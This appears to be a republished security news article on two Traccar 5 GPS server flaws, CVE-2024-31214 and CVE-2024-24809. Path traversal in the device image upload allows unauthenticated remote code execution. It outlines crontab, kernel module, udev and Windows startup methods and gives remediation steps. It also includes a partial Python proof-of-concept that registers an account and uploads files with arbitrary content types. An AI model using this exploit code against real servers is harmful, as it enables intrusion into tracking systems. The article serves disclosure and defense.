Traccar GPS System Vulnerability-Attackers Execute Remote Code


Two critical vulnerabilities have been discovered in the Traccar GPS. These vulnerabilities, CVE-2024-31214 and CVE-2024-24809, allow unauthenticated attackers to execute remote code on systems running Traccar 5.

This article delves into the nature of these vulnerabilities, their potential impact, and the steps users can take to protect themselves.

EHA

Traccar GPS System
Traccar GPS System

Understanding Traccar and Its Vulnerabilities

Traccar is a widely used open-source GPS tracking system famous for personal and fleet management purposes. The system, which is Java-based and utilizes Jetty as its web server, enables users to register devices for tracking. These devices communicate their location to the Traccar server using various protocols.

According to the Horizon3 report, the vulnerabilities stem from the device image file upload feature introduced in Traccar 5.1. The issues lie in handling device image uploads, which can be manipulated to execute remote code.

Multiple vulnerabilities in the code to handle device image file uploads.
Multiple vulnerabilities in the code to handle device image file uploads.

Vulnerability Details

The vulnerabilities allow attackers to exploit the device image upload API by manipulating two key variables:

  1. Device Unique ID: This can be exploited using path traversal sequences like ../, enabling attackers to place files anywhere on the file system.
  2. Content-Type Header: By altering this header, attackers can set arbitrary file extensions, such as creating a file named device.html. These manipulations can lead to unauthorized file placement, facilitating remote code execution.

Are You From SOC/DFIR Teams? - Try Advanced Malware and Phishing Analysis With ANY.RUN -14-day free trial

Exploitation Methods

Method 1: Uploading a Crontab File

On Red Hat-based Linux systems, attackers can upload a crontab file to achieve remote code execution.

This method involves exploiting the path traversal in the Content-Type header to upload a crontab file, resulting in a reverse shell on the attacker’s host. However, due to filename restrictions, this method is not effective on Debian/Ubuntu systems.

from argparse import ArgumentParser
import requests
import sys
import secrets
def register(url) -> tuple:
    registration_url = f'{url}/api/users'
    username = secrets.token_hex(16)
    email = f'{username}@example.org'
    password = secrets.token_hex(32)
    user_dict = { 'name': username, 'email': email, 'password': password, 'totpKey': None}
    r = requests.post(registration_url, json=user_dict, verify=False, timeout=10)
    id = r.json()['id']
    print(f'Created user id {id} with email {email} and password {password}')
    return (email, password)
def login(url, email, password) -> requests.Session:
    session = requests.Session()
    login_url = f'{url}/api/session'
    r = session.post(login_url, data = {'email': email, 'password': password}, verify=False, timeout=10)
    r.json()['id'] # got expected login response
    print(f'Logged in')
    return session
def create_device(url, session):
    device_url = f'{url}/api/devices'
    device_name = secrets.token_hex(12)
    unique_id = device_name
    r = session.post(device_url, json={'name': device_name, 'uniqueId': unique_id}, verify=False, timeout=10)
    device_id = r.json()['id']
    print(f'Created device {device_id} with unique id {unique_id}')
    return (device_id, device_name, unique_id)
def upload(url, session, device_id, content_type, data_bytes):
    upload_url = f'{url}/api/devices/{device_id}/image'
    headers = {
        'Content-Type': content_type
    }
    r = session.post(upload_url, headers=headers, data=data_bytes, verify=False, timeout=10)
    if r.status_code == 200:
        return r.text
    else:
        print(f'Upload failed, maybe Windows?: {r.status_code}: {r.text}')
        sys.exit(1)

Method 2: Uploading a Kernel Module

This method requires user interaction, such as logging into or rebooting the host. By dropping specific files on the disk, attackers can execute a kernel module at startup, achieving remote code execution.

Method 3: Creating a udevd Rule

Attackers can drop a file in the /etc/udevd/rules.d folder. When the system is restarted, the udevd service executes the commands in the file, leading to remote code execution.

Method 4: Uploading a Windows Shortcut File

On Windows systems, attackers can place a malicious shortcut file in the StartUp folder, executing commands when a user logs into the vulnerable Traccar host.

Users can determine if their Traccar version is vulnerable by sending a network request to the /api/server endpoint. If the registration setting is true, the system is susceptible to attack.

To remediate this, users should upgrade to Traccar 6 or disable the registration setting. Be cautious; compromised systems might trigger latent exploit payloads upon login or reboot.

The discovery of these vulnerabilities in Traccar 5 highlights the importance of regular software updates and security audits. By upgrading to Traccar 6, users can protect themselves from potential exploits and ensure the security of their GPS tracking systems.

The changes implemented in Traccar 6, such as disabling self-registration by default, significantly reduce the attack surface for unauthenticated attackers, marking a crucial step forward in securing this widely used platform.

Protect Your Business with Cynet Managed All-in-One Cybersecurity Platform – Try Free Trial



Source link